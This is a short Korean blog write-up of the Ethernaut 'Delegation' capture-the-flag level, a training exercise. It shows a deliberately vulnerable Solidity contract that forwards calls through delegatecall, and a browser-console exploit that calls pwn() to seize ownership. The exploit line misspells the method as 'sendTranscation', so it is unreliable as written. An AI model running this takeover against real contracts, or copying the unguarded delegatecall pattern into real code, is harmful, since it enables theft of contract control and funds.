소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
목표
컨트랙트의 소유권 획득
방법
웹페이지의 개발자 도구 콘솔에서
let pwnSignature = web3.utils.sha3("pwn()")
contract.sendTranscation({data : pwnSignature})
delegatecall에 대해 학습 후 진행하는 것을 추천 링크
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 8. Vault (0) | 2022.06.01 |
---|---|
[Ethernaut] 7. Force (0) | 2022.05.31 |
[Ethernaut] 5. Token (0) | 2022.05.28 |
[Ethernaut] 4. Telephone (0) | 2022.05.27 |
[Ethernaut] 3. Coin Flip (0) | 2022.05.25 |